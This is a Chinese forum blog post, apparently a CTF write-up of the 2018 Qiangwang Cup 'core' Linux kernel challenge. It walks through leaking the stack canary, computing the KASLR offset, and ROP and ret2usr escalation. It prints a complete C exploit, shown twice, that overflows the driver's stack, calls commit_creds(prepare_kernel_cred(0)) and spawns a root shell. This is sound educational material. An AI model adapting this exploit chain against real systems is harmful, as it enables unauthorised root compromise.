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Linux kernel pwn （一）：ROP&&ret2usr
发表于: 2020-10-15 08:54 7875

Linux kernel pwn （一）：ROP&&ret2usr

T1e9u 活跃值
1
2020-10-15 08:54
7875

国庆中秋八天假，除了出招新题和做软件工程的一个开发小demo，啥技术都没学到（效率不够呀，555）。

这是博文是我根据2018年强网杯的core题的利用姿势学习记录的，由于内核pwn相对于用户态的pwn来说复杂很多，而网上记载入门的博客都比较简略（或者说是我太菜看不懂），所以这篇博文我会尽可能详细地记录，有错误的点希望师傅们斧正。

部分内核pwn入门基础可见我的这一篇博文

与用户态的pwn不一样，内核pwn的漏洞一般是出现在驱动中，简单地说，驱动程序是一个内核程序，它驱动与之关联的特定设备。内核驱动模块运行时的权限是root权限，因此我们将有机会借此拿到root权限的shell。不同于用户态的pwn，kernel pwn不再是用python远程链接打payload拿shell，而是给你一个环境包，下载后qemu本地起系统，flag文件就在这个虚拟系统里面，权限是root，因此拿flag的过程也是选手在自己的环境里完成，exploit往往也是C编写。所以，我们一般是写c程序去调用有漏洞的内核驱动，以便去拿到root权限。

首先介绍一下proc文件系统，proc文件系统是一个虚拟文件系统，里面有许多的虚拟文件，创建一个proc虚拟文件，应用层通过读写该文件，即可实现与内核的交互。
而创建方法也就是proc_create函数;

name就是要创建的文件名，mode是文件的访问权限，以UGO的模式表示，parent与proc_mkdir中的parent类似，也是父文件夹的proc_dir_entry对象。proc_fops就是该文件的操作函数了。
这里最重要的应该是我们的第三个参数fop，也就是file_operations。这里会涉及到内核中文件系统的一些东西，笔者目前也还没有学习，这里大致说一下我自己的理解：这个结构体就是定义了我们利用上面的那个proc_create创建的结构体时可以调用的函数，用于用户态与内核态的交流，譬如本例题定义的proc_create("core", 438LL, 0LL, &core_fops)，在我们的core_fops中定义了core_write函数，所以我们便可以利用open函数打开core这个文件：int fd = open("/proc/core", O_RDWR);然后利用write(fd, rop_chain, 0X800)调用core_write函数。

以本题为例，给了bzImage：kernel映像；
core.cpio：文件系统映像；
start.sh：一个用于启动 kernel 的 shell 的脚本，多用qemu;
vmlinux：类比成用户态pwn中的libc文件。
解压core.cpio之后core目录里也有个vmlinux，调试时用core目录的vmlinux。
关于bzImage与vmlinux的区别，详细可以参见该文章。简单来说，bzImage是压缩过的镜像，而 vmlinux是未经压缩的镜像，也就是说我们可以从 vmlinux 中找到一些 gadget。如果题目没有给 vmlinux，可以通过extract-vmlinux, 提取命令：./extract-vmlinux ./bzImage > vmlinux。
关于start.sh，是QEMU的启动脚本。一般里面会设置内核的保护机制以及相关参数的设置,这里并没有开启SMEP(是ret2user利用的基础)。对于本题，需要将该文件中第二行的-m 64M改成-m 128M，不然内存不够用启动不了。

关于core.cpio的解压，可以参考一下：

其实也可以在ubantu双击即可解压。
对于本例，解压后的文件夹中有个有一个init文件，用于启动内核后初始化，查看一下：

这里简单说一下如何设置off的值，从而leak出canary。一开始我的想法是根据ida中显示的偏移决定我们的off值
图片描述
可以看到，在ida中，v5是设置在我们的rbp-0x50，所以rbp-0x48的位置应该就是我们的canary。但是，像大家所说的，ida中的显示有时候是会有bug的，经过实际调试，我发现实际偏移并不是0x48
图片描述
图片描述
从这里看出我们的canary的实际偏移是0x40，当我们写个POC先把我们的off值设置为0x40,然后调用core_read函数（要现在gdb调试，设置断点在我们的core_read函数），然后单步步入到我们copy_to_user函数，即验证我们成功leak出canary了
图片描述
图片描述
上面EXP中leak canary的时候，设置off为0x40。

这里的基地址包括内核的基地址以及我们的core这个驱动的基地址
关于内核基地址的寻找上面已经说明，而对于驱动的加载地址，可以直接在我们/tmp/kallsyms查询即可。

通过 swapgs 恢复 GS 值
通过iretq 恢复各寄存器值到用户态，参考 https://baike.baidu.com/item/iret/1314268?fr=aladdin
会按照 rip、cs、标志寄存器、rsp、ss的顺序将各寄存器值从栈中弹出来。
其中，rip的值，可以直接用我们EXP中写好的跑shell的地址，这样回到用户态后就直接跑shell了
而cs、标志寄存器、rsp、ss都需要合法的值，因此可以在EXP中先将当前用户态的值保存下来，在ROP链中直接用这些值就可以了：

先要构造commit_creds(prepare_kernel_cred(0))提权，然后将用户态的寄存器给赋合法值。

这里先说一下ret2user的原理:
ret2usr 攻击利用了在没有开启SMEP（管理模式执行保护）的情况下，内核态CPU是可以访问执行用户空间的代码的。
用户空间的进程不能访问内核空间，但内核空间能访问用户空间 这个特性来定向内核代码或数据流指向用户控件，以 ring 0 特权执行用户空间代码完成提权等操作。
这个方法其实跟上面所说的ROP基本没有区别，最根本的区别就是把上面所需要rop构造出来的提权过程commit_creds(prepare_kernel_cred(0))直接写了一个函数，从而不需要rop调用，直接调用函数即可。
最终EXP:

这是我入门Linux kernel pwn的一道题，所以这里尽可能详细的记录下来。虽然这道题很简单，但是自己也花了好几天去磕，但是感觉真的是受益匪浅吧！之前就说过，目前的学习方向是iot，但是实际上，现在还没有学多少内容。所以，现在的计划是，尽量在这两周学完内核pwn的几个姿势，应该还有UAF,Double fetch等。然后接下来就是把重心放回到iot研究上，顺带还会学堆的骚操作（看最近几个比赛的WP，发现堆真的好多骚操作，好想去学），然后还会学习操作系统，以及数据库和密码学等课堂知识
害，总之就是想学的东西很多，但是自己的效率不高。所以说，目前的重点是要提高自己的效率！

http://p4nda.top/2018/07/13/ciscn2018-core/
https://veritas501.space/2018/06/05/qwb2018%20core/
https://bbs.pediy.com/thread-247054.htm
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/kernel_rop-zh/#get-root-shell
https://www.sunxiaokong.xyz/2020-02-09/lzx-qwb2018-core/#%E9%A9%B1%E5%8A%A8%E5%88%86%E6%9E%90
https://www.jianshu.com/p/8d950a9d8974
https://www.anquanke.com/post/id/172216#h3-14
https://www.anquanke.com/post/id/201043#h3-6

static inline struct proc_dir_entry *proc_create(const char *name, mode_t mode,struct proc_dir_entry *parent, const struct file_operations *proc_fops)。
static inline struct proc_dir_entry *proc_create(const char *name, mode_t mode,struct proc_dir_entry *parent, const struct file_operations *proc_fops)。
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd  ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s  \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd  ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s  \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \
mkdir file
cp ./core.cpio ./file/core.cpio.gz
cd file
gunzip ./core.cpio.gz
cpio -idmv < ./core.cpio
mkdir file
cp ./core.cpio ./file/core.cpio.gz
cd file
gunzip ./core.cpio.gz
cpio -idmv < ./core.cpio
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
 
poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
 
poweroff -d 0  -f
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
 
poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
 
poweroff -d 0  -f
ROPgadget --binary ./vmlinux > gadget          #把可用的gadget取进我们的gadget文件
ropper --file ./vmlinux --nocolor > gadget     #把可用的gadget  取进我们的gadget文件
然后再可以用grep筛选我们希望的gadget
ROPgadget --binary ./vmlinux > gadget          #把可用的gadget取进我们的gadget文件
ropper --file ./vmlinux --nocolor > gadget     #把可用的gadget  取进我们的gadget文件
然后再可以用grep筛选我们希望的gadget
from pwn import *
elf = ELF('./core/vmlinux')
print "commit_creds",hex(elf.symbols['commit_creds']-0xffffffff81000000)
print "prepare_kernel_cred",hex(elf.symbols['prepare_kernel_cred']-0xffffffff81000000)
from pwn import *
elf = ELF('./core/vmlinux')
print "commit_creds",hex(elf.symbols['commit_creds']-0xffffffff81000000)
print "prepare_kernel_cred",hex(elf.symbols['prepare_kernel_cred']-0xffffffff81000000)
//sunxiaokong
//gcc -static -masm=intel -g -o my_exp my_exp.c
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
 
#define INS_SET_OFF 0x6677889C
#define INS_READ 0x6677889B
#define INS_COPY_FUNC 0x6677889A
 
int get_kernel_addr();
void get_usr_regs();
void shell();
 
size_t canary = 0; // value of canary
size_t commit_creds=0, prepare_kernel_cred=0; // kernel function addr
size_t off; // offset of kaslr
size_t vmlinux_base; // base addr of vmlinux
size_t rop_chain[100] = {0};  // rop chain
size_t usr_cs, usr_ss, usr_rsp, usr_rflags;  // registers of user mode
 
int main(){
    get_usr_regs();
    get_kernel_addr();
 
    int fd = open("/proc/core", O_RDWR);
    if(fd < 0){
        puts("[T.T] open file error !!!");
        exit(0);
    }
    ioctl(fd, INS_SET_OFF, 0x40);   // set off to 0x40
    char *buf_leak = (char *)malloc(0x40);   // buffer of leak data
    ioctl(fd, INS_READ, buf_leak);   // leak canary in kernel-stack
    canary = *(size_t *)buf_leak;
    printf("[^.^] canary : 0x%lx\n", canary);
 
    int i;
    for(i=0; i<10; i++){
        rop_chain[i] = canary;
    }
    rop_chain[i++] = 0xffffffff81000b2f + off;   // pop rdi ; ret
    rop_chain[i++] = 0;
    rop_chain[i++] = prepare_kernel_cred;           // prepare_kernel_cred(0)
    rop_chain[i++] = 0xffffffff810a0f49 + off;   // pop rdx ; ret
    rop_chain[i++] = commit_creds;
    rop_chain[i++] = 0xffffffff8106a6d2 + off;   // mov rdi, rax ; jmp rdx
    rop_chain[i++] = 0xffffffff81a012da + off;   // swapgs ; popfq ; ret
    rop_chain[i++] = 0;
    rop_chain[i++] = 0xffffffff81050ac2 + off;   // iretq; ret;
    rop_chain[i++] = (size_t)shell;              // rip
    rop_chain[i++] = usr_cs;                     // cs
    rop_chain[i++] = usr_rflags;                 // rflags
    rop_chain[i++] = usr_rsp;                    // rsp
    rop_chain[i++] = usr_ss;                     // ss
 
    write(fd, rop_chain, 0X800);    // write payload to "name"
    ioctl(fd, INS_COPY_FUNC,  0xffffffffffff0000 | (0x100)); // stack overflow
}
 
/* read symbols addr in /tmp/kallsyms and calc the vmlinux base */
int get_kernel_addr(){
    char *buf = (char *)malloc(0x50);
    FILE *kallsyms = fopen("/tmp/kallsyms", "r");
 
    while(fgets(buf, 0x50, kallsyms)){
        // fgets:read one line at one time
        if(strstr(buf, "prepare_kernel_cred")){
            sscanf(buf, "%lx", &prepare_kernel_cred);
            printf("[^.^] prepare_kernel_cred : 0x%lx\n", prepare_kernel_cred);
        }
 
        if(strstr(buf, "commit_creds")){
            sscanf(buf, "%lx", &commit_creds);
            printf("[^.^] commit_creds : 0x%lx\n", commit_creds);
            off = commit_creds - 0xffffffff8109c8e0;
            vmlinux_base =  0xffffffff81000000 + off;
            printf("[^.^] offset : 0x%lx\n", off);
            printf("[^.^] vmlinux base : 0x%lx\n", vmlinux_base);
        }
 
        if(commit_creds && prepare_kernel_cred){
            return 0;
        }
    }
}
 
/* save some regs of user mode */
void get_usr_regs(){
    __asm__(
        "mov usr_cs, cs;"
        "mov usr_ss, ss;"
        "mov usr_rsp, rsp;"
        "pushfq;"
        "pop usr_rflags;"
    );
    printf("[^.^] save regs of user mode, done !!!\n");
}
 
/* run a root shell */
void shell(){
    if(!getuid())
    {
        system("/bin/sh");
    }
    else
    {
        puts("[T.T] privilege escalation failed !!!");
    }
    exit(0);
}
 
/*
ROPgadget --binary "./vmlinux" --only "pop|ret" | grep rdi
0xffffffff81000b2f : pop rdi ; ret
 
ROPgadget --binary ./vmlinux --only "mov|jmp" | grep "mov rdi, rax"
0xffffffff8106a6d2 : mov rdi, rax ; jmp rdx
 
ROPgadget --binary "./vmlinux" --only "pop|ret" | grep rdx
0xffffffff810a0f49 : pop rdx ; ret
 
ROPgadget --binary ./vmlinux | grep swapgs
0xffffffff81a012da : swapgs ; popfq ; ret
 
ropper -f ./vmlinux > ./gadget.txt
cat ./gadget.txt | grep iretq
0xffffffff81050ac2: iretq; ret;
*/
//sunxiaokong
//gcc -static -masm=intel -g -o my_exp my_exp.c
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
 
#define INS_SET_OFF 0x6677889C
#define INS_READ 0x6677889B
#define INS_COPY_FUNC 0x6677889A
 
int get_kernel_addr();
void get_usr_regs();
void shell();
 
size_t canary = 0; // value of canary
size_t commit_creds=0, prepare_kernel_cred=0; // kernel function addr
size_t off; // offset of kaslr
size_t vmlinux_base; // base addr of vmlinux
size_t rop_chain[100] = {0};  // rop chain
size_t usr_cs, usr_ss, usr_rsp, usr_rflags;  // registers of user mode
 
int main(){
    get_usr_regs();
    get_kernel_addr();
 
    int fd = open("/proc/core", O_RDWR);
    if(fd < 0){
        puts("[T.T] open file error !!!");
        exit(0);
    }
    ioctl(fd, INS_SET_OFF, 0x40);   // set off to 0x40
    char *buf_leak = (char *)malloc(0x40);   // buffer of leak data
    ioctl(fd, INS_READ, buf_leak);   // leak canary in kernel-stack
    canary = *(size_t *)buf_leak;
    printf("[^.^] canary : 0x%lx\n", canary);
 
    int i;
    for(i=0; i<10; i++){
        rop_chain[i] = canary;
    }
    rop_chain[i++] = 0xffffffff81000b2f + off;   // pop rdi ; ret
    rop_chain[i++] = 0;
    rop_chain[i++] = prepare_kernel_cred;           // prepare_kernel_cred(0)
    rop_chain[i++] = 0xffffffff810a0f49 + off;   // pop rdx ; ret
    rop_chain[i++] = commit_creds;
    rop_chain[i++] = 0xffffffff8106a6d2 + off;   // mov rdi, rax ; jmp rdx
    rop_chain[i++] = 0xffffffff81a012da + off;   // swapgs ; popfq ; ret
    rop_chain[i++] = 0;
    rop_chain[i++] = 0xffffffff81050ac2 + off;   // iretq; ret;
    rop_chain[i++] = (size_t)shell;              // rip
    rop_chain[i++] = usr_cs;                     // cs
    rop_chain[i++] = usr_rflags;                 // rflags
    rop_chain[i++] = usr_rsp;                    // rsp
    rop_chain[i++] = usr_ss;                     // ss
 
    write(fd, rop_chain, 0X800);    // write payload to "name"
    ioctl(fd, INS_COPY_FUNC,  0xffffffffffff0000 | (0x100)); // stack overflow
}
 
/* read symbols addr in /tmp/kallsyms and calc the vmlinux base */
int get_kernel_addr(){
    char *buf = (char *)malloc(0x50);
    FILE *kallsyms = fopen("/tmp/kallsyms", "r");
 
    while(fgets(buf, 0x50, kallsyms)){
        // fgets:read one line at one time
        if(strstr(buf, "prepare_kernel_cred")){
            sscanf(buf, "%lx", &prepare_kernel_cred);
            printf("[^.^] prepare_kernel_cred : 0x%lx\n", prepare_kernel_cred);
        }
 
        if(strstr(buf, "commit_creds")){
            sscanf(buf, "%lx", &commit_creds);
            printf("[^.^] commit_creds : 0x%lx\n", commit_creds);
            off = commit_creds - 0xffffffff8109c8e0;
            vmlinux_base =  0xffffffff81000000 + off;
            printf("[^.^] offset : 0x%lx\n", off);
            printf("[^.^] vmlinux base : 0x%lx\n", vmlinux_base);
        }
 
        if(commit_creds && prepare_kernel_cred){
            return 0;
        }
    }
}
 
/* save some regs of user mode */
void get_usr_regs(){
    __asm__(
        "mov usr_cs, cs;"
        "mov usr_ss, ss;"
        "mov usr_rsp, rsp;"
        "pushfq;"
        "pop usr_rflags;"
    );
    printf("[^.^] save regs of user mode, done !!!\n");
}
 
/* run a root shell */
void shell(){
    if(!getuid())
    {
        system("/bin/sh");
    }
    else
    {
        puts("[T.T] privilege escalation failed !!!");
    }
    exit(0);
}
 

[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课

最后于 2020-10-15 09:42 被T1e9u编辑 ，原因：
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